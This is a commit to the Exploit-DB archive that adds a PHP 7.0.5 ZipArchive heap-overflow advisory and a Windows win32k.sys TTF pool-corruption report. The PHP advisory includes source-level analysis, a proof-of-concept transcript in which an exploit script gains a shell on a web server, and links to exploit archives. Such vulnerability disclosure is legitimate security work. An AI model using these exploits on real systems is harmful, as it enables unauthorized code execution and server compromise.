DB: 2016-04-29

2 new exploits

Ubuntu 14.04 LTS_ 15.10 overlayfs - Local Root Exploit
Ubuntu 14.04 LTS_ 15.10 - overlayfs Local Root Exploit
PHP 7.0.5 - ZipArchive::getFrom* Integer Overflow
Windows Kernel - win32k.sys TTF Processing EBLC / EBSC Tables Pool Corruption (MS16-039)
This commit is contained in:
Offensive Security 2016-04-29 05:03:34 +00:00
parent 3ca3a35ce6
commit 875ff32145
4 changed files with 299 additions and 4 deletions

View file

@ -35426,7 +35426,7 @@ id,file,description,date,author,platform,type,port
39163,platforms/multiple/dos/39163.txt,"pdfium CPDF_TextObject::CalcPositionData - Heap-Based Out-of-Bounds Read",2016-01-04,"Google Security Research",multiple,dos,0
39164,platforms/multiple/dos/39164.txt,"pdfium IsFlagSet (v8 memory management) - SIGSEGV",2016-01-04,"Google Security Research",multiple,dos,0
39165,platforms/multiple/dos/39165.txt,"pdfium CPDF_Function::Call - Stack-Based Buffer Overflow",2016-01-04,"Google Security Research",multiple,dos,0
39166,platforms/linux/local/39166.c,"Ubuntu 14.04 LTS_ 15.10 overlayfs - Local Root Exploit",2016-01-05,rebel,linux,local,0
39166,platforms/linux/local/39166.c,"Ubuntu 14.04 LTS_ 15.10 - overlayfs Local Root Exploit",2016-01-05,rebel,linux,local,0
39167,platforms/php/webapps/39167.txt,"Online Airline Booking System - Multiple Vulnerabilities",2016-01-05,"Manish Tanwar",php,webapps,80
39168,platforms/php/webapps/39168.txt,"Simple PHP Polling System - Multiple Vulnerabilities",2016-01-05,WICS,php,webapps,80
39169,platforms/multiple/dos/39169.pl,"Ganeti - Multiple Vulnerabilities",2016-01-05,"Pierre Kim",multiple,dos,0
@ -35953,3 +35953,5 @@ id,file,description,date,author,platform,type,port
39739,platforms/hardware/webapps/39739.py,"Multiple Vendors (RomPager <= 4.34) - Misfortune Cookie Router Authentication Bypass",2016-04-27,"Milad Doorbash",hardware,webapps,0
39740,platforms/windows/dos/39740.cpp,"Windows - CSRSS BaseSrvCheckVDM Session 0 Process Creation Privilege Escalation (MS16-048)",2016-04-27,"Google Security Research",windows,dos,0
39741,platforms/osx/local/39741.txt,"Mach Race OS X Local Privilege Escalation Exploit",2016-04-27,fG!,osx,local,0
39742,platforms/php/remote/39742.txt,"PHP 7.0.5 - ZipArchive::getFrom* Integer Overflow",2016-04-28,"Hans Jerry Illikainen",php,remote,0
39743,platforms/windows/dos/39743.txt,"Windows Kernel - win32k.sys TTF Processing EBLC / EBSC Tables Pool Corruption (MS16-039)",2016-04-28,"Google Security Research",windows,dos,0

Can't render this file because it is too large.

View file

@ -1,8 +1,10 @@
source: http://www.securityfocus.com/bid/51529/info
#source: http://www.securityfocus.com/bid/51529/info
#OverlayFS is prone to a local security-bypass vulnerability.
#Attackers can exploit this issue to bypass security restrictions and perform unauthorized actions.
OverlayFS is prone to a local security-bypass vulnerability.
Attackers can exploit this issue to bypass security restrictions and perform unauthorized actions.
#!/bin/bash

208
platforms/php/remote/39742.txt Executable file
View file

@ -0,0 +1,208 @@
Details
=======
An integer wrap may occur in PHP 7.x before version 7.0.6 when reading
zip files with the getFromIndex() and getFromName() methods of
ZipArchive, resulting in a heap overflow.
php-7.0.5/ext/zip/php_zip.c
,----
| 2679 static void php_zip_get_from(INTERNAL_FUNCTION_PARAMETERS, int type) /* {{{ */
| 2680 {
| ....
| 2684 struct zip_stat sb;
| ....
| 2689 zend_long len = 0;
| ....
| 2692 zend_string *buffer;
| ....
| 2702 if (type == 1) {
| 2703 if (zend_parse_parameters(ZEND_NUM_ARGS(), "P|ll", &filename, &len, &flags) == FAILURE) {
| 2704 return;
| 2705 }
| 2706 PHP_ZIP_STAT_PATH(intern, ZSTR_VAL(filename), ZSTR_LEN(filename), flags, sb); // (1)
| 2707 } else {
| 2708 if (zend_parse_parameters(ZEND_NUM_ARGS(), "l|ll", &index, &len, &flags) == FAILURE) {
| 2709 return;
| 2710 }
| 2711 PHP_ZIP_STAT_INDEX(intern, index, 0, sb); // (1)
| 2712 }
| ....
| 2718 if (len < 1) {
| 2719 len = sb.size;
| 2720 }
| ....
| 2731 buffer = zend_string_alloc(len, 0); // (2)
| 2732 n = zip_fread(zf, ZSTR_VAL(buffer), ZSTR_LEN(buffer)); // (3)
| ....
| 2742 }
`----
With `sb.size' from (1) being:
php-7.0.5/ext/zip/lib/zip_stat_index.c
,----
| 038 ZIP_EXTERN int
| 039 zip_stat_index(zip_t *za, zip_uint64_t index, zip_flags_t flags,
| 040 zip_stat_t *st)
| 041 {
| ...
| 043 zip_dirent_t *de;
| 044
| 045 if ((de=_zip_get_dirent(za, index, flags, NULL)) == NULL)
| 046 return -1;
| ...
| 063 st->size = de->uncomp_size;
| ...
| 086 }
`----
Both `size' and `uncomp_size' are unsigned 64bit integers:
php-7.0.5/ext/zip/lib/zipint.h
,----
| 339 struct zip_dirent {
| ...
| 351 zip_uint64_t uncomp_size; /* (cl) size of uncompressed data */
| ...
| 332 };
`----
php-7.0.5/ext/zip/lib/zip.h
,----
| 279 struct zip_stat {
| ...
| 283 zip_uint64_t size; /* size of file (uncompressed) */
| ...
| 290 };
`----
Whereas `len' is signed and has a platform-dependent size:
php-7.0.5/Zend/zend_long.h
,----
| 028 #if defined(__x86_64__) || defined(__LP64__) || defined(_LP64) || defined(_WIN64)
| 029 # define ZEND_ENABLE_ZVAL_LONG64 1
| 030 #endif
| ...
| 033 #ifdef ZEND_ENABLE_ZVAL_LONG64
| 034 typedef int64_t zend_long;
| ...
| 043 #else
| 044 typedef int32_t zend_long;
| ...
| 053 #endif
`----
Uncompressed file sizes in zip-archives may be specified as either 32-
or 64bit values; with the latter requiring that the size be specified in
the extra field in zip64 mode.
Anyway, as for the invocation of `zend_string_alloc()' in (2):
php-7.0.5/Zend/zend_string.h
,----
| 119 static zend_always_inline zend_string *zend_string_alloc(size_t len, int persistent)
| 120 {
| 121 zend_string *ret = (zend_string *)pemalloc(ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(len)), persistent); // (4)
| ...
| 133 ZSTR_LEN(ret) = len; // (5)
| 134 return ret;
| 135 }
`----
The `size' argument to the `pemalloc' macro is aligned/adjusted in (4)
whilst the *original* value of `len' is stored as the size of the
allocated buffer in (5). No boundary checking is done in (4) and it may
thus wrap, which would lead to a heap overflow during the invocation of
`zip_fread()' in (3) as the `toread' argument is `ZSTR_LEN(buffer)':
php-7.0.5/Zend/zend_string.h
,----
| 041 #define ZSTR_LEN(zstr) (zstr)->len
`----
On a 32bit system:
,----
| (gdb) p/x ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(0xfffffffe))
| $1 = 0x10
`----
The wraparound may also occur on 64bit systems with `uncomp_size'
specified in the extra field (Zip64 mode; ext/zip/lib/zip_dirent.c:463).
However, it won't result in a buffer overflow because of `zip_fread()'
bailing on a size that would have wrapped the allocation in (4):
php-7.0.5/ext/zip/lib/zip_fread.c
,----
| 038 ZIP_EXTERN zip_int64_t
| 039 zip_fread(zip_file_t *zf, void *outbuf, zip_uint64_t toread)
| 040 {
| ...
| 049 if (toread > ZIP_INT64_MAX) {
| 050 zip_error_set(&zf->error, ZIP_ER_INVAL, 0);
| 051 return -1;
| 052 }
| ...
| 063 }
`----
php-7.0.5/ext/zip/lib/zipconf.h
,----
| 130 #define ZIP_INT64_MAX 0x7fffffffffffffffLL
`----
,----
| (gdb) p/x ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(0x7fffffffffffffff))
| $1 = 0x8000000000000018
`----
PoC
===
Against Arch Linux i686 with php-fpm 7.0.5 behind nginx [1]:
,----
| $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php
| [*] this may take a while
| [*] 103 of 4096 (0x67fd0)...
| [+] connected to 1.2.3.4:5555
|
| id
| uid=33(http) gid=33(http) groups=33(http)
|
| uname -a
| Linux arch32 4.5.1-1-ARCH #1 SMP PREEMPT Thu Apr 14 19:36:01 CEST
| 2016 i686 GNU/Linux
|
| pacman -Qs php-fpm
| local/php-fpm 7.0.5-2
| FastCGI Process Manager for PHP
|
| cat upload.php
| <?php
| $zip = new ZipArchive();
| if ($zip->open($_FILES["file"]["tmp_name"]) !== TRUE) {
| echo "cannot open archive\n";
| } else {
| for ($i = 0; $i < $zip->numFiles; $i++) {
| $data = $zip->getFromIndex($i);
| }
| $zip->close();
| }
| ?>
`----
Solution
========
This issue has been fixed in php 7.0.6.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39742.zip
https://github.com/dyntopia/exploits/tree/master/CVE-2016-3078

83
platforms/windows/dos/39743.txt Executable file
View file

@ -0,0 +1,83 @@
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=684
We have encountered a Windows kernel crash in the win32k.sys driver while processing a corrupted TTF font file. An example of a crash log excerpt generated after triggering the bug is shown below:
---
BAD_POOL_HEADER (19)
The pool is already corrupt at the time of the current request.
This may or may not be due to the caller.
The internal pool links must be walked to figure out a possible cause of
the problem, and then special pool applied to the suspect tags or the driver
verifier to a suspect driver.
Arguments:
Arg1: 00000021, the data following the pool block being freed is corrupt. Typically this means the consumer (call stack ) has overrun the block.
Arg2: ff66c000, The pool pointer being freed.
Arg3: 00001038, The number of bytes allocated for the pool block.
Arg4: 00000000, The corrupted value found following the pool block.
Debugging Details:
------------------
BUGCHECK_STR: 0x19_21
POOL_ADDRESS: GetPointerFromAddress: unable to read from 8277684c
Unable to read MiSystemVaType memory at 82755780
ff66c000
CUSTOMER_CRASH_COUNT: 1
DEFAULT_BUCKET_ID: VERIFIER_ENABLED_VISTA_MINIDUMP
PROCESS_NAME: csrss.exe
CURRENT_IRQL: 0
ANALYSIS_VERSION: 6.3.9600.17237 (debuggers(dbg).140716-0327) amd64fre
LAST_CONTROL_TRANSFER: from 82942f90 to 8272cc6b
STACK_TEXT:
b5ccb5c0 82942f90 ff66c000 00000000 ff66c000 nt!ExFreePoolWithTag+0x1b1
b5ccb5d4 9916b9e2 ff66c000 00000000 fb834e78 nt!VerifierExFreePoolWithTag+0x30
b5ccb5e8 99159ebf ff66c010 fb82af24 00000001 win32k!EngFreeMem+0x1f
b5ccb728 9914eda9 0000002c 0000001c b5ccb818 win32k!lGetGlyphBitmap+0x258
b5ccb750 9914ebf6 00000000 00000001 0000001c win32k!ttfdQueryFontData+0x15e
b5ccb7a0 9914de12 ff7a5010 fb82acf0 00000001 win32k!ttfdSemQueryFontData+0x45
b5ccb7e8 991538bd ff7a5010 fb82acf0 00000001 win32k!PDEVOBJ::QueryFontData+0x3e
b5ccb860 991cc470 b5ccbb3c ff6b0300 ff6ab094 win32k!xInsertMetricsPlusRFONTOBJ+0x120
b5ccb890 99145a6f 0000000a ff7bf050 b5ccbbda win32k!RFONTOBJ::bGetGlyphMetricsPlus+0x179
b5ccb8c8 991cbf6e b5ccbb1c b5ccbb3c 00000008 win32k!ESTROBJ::vCharPos_H3+0xf0
b5ccb90c 991456f2 b5ccbbd0 0000000a b5ccbb1c win32k!ESTROBJ::vInit+0x268
b5ccbb2c 991458b5 00000000 b5ccbbd0 fb82acf0 win32k!GreGetTextExtentExW+0x12a
b5ccbc0c 82647a06 2b01027a 006e0bac 0000000a win32k!NtGdiGetTextExtentExW+0x141
b5ccbc0c 76e871b4 2b01027a 006e0bac 0000000a nt!KiSystemServicePostCall
WARNING: Frame IP not in any known module. Following frames may be wrong.
0026f2ac 00000000 00000000 00000000 00000000 0x76e871b4
---
The type of the bugcheck implies a pool-based buffer overflow or some other type of pool corruption, potentially allowing for remote code execution in the context of the Windows kernel. While we have not determined the specific root cause of the vulnerability, we have pinpointed the offending mutations to reside in the "EBLC" and "EBSC" tables.
The issue reproduces on Windows 7. It is easiest to reproduce with Special Pools enabled for win32k.sys, but it is also possible to observe a crash on a default Windows installation in win32k.sys or another location in kernel space, as caused by the corrupted pool state.
Attached is an archive with the proof-of-concept mutated TTF file, together with the original font used to generate it and a corresponding crash log from Windows 7 32-bit.
The vendor communication timeline is as follows:
12/22/2015 Vulnerability is reported to Microsoft.
12/22/2015 MSRC acknowledges the receipt of the report.
01/09/2016 MSRC informs us they are unable to reproduce the issue and ask for a crash dump that may help.
01/11/2016 We send MSRC 32-bit and 64-bit crash dumps, together with additional repro information.
01/11/2016 MSRC acknowledges the receipt of the new information.
01/21/2016 MSRC informs us they still cannot reproduce the crash, and the provided crash dumps didn't help. They ask for more detailed information (full crash dump, environment details, POC program etc.)
01/25/2016 Upon further investigation, we realize that the bugcheck only occurs if the [Computer => Properties => Advanced system settings => Advanced => Performance => Settings => Visual Effects => Smooth edges of screen fonts] option is unchecked in system settings, and let MSRC know about this discovery.
01/25/2016 MSRC confirm that the crash now reproduces reliably on their side.
Since Microsoft was only able to get a repro of this issue on 01/25/2016 due to the non-standard system settings, we are resetting the 90-day period start date to that day.
When the "Smooth edges of screen fonts" option is disabled, the bugcheck also occurs on versions of Windows other than 7 (confirmed with Windows 8.1). By further minimizing the POC sample, it is also possible to trigger the crash by simply opening it in the default "Windows Font Viewer" utility.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39743.zip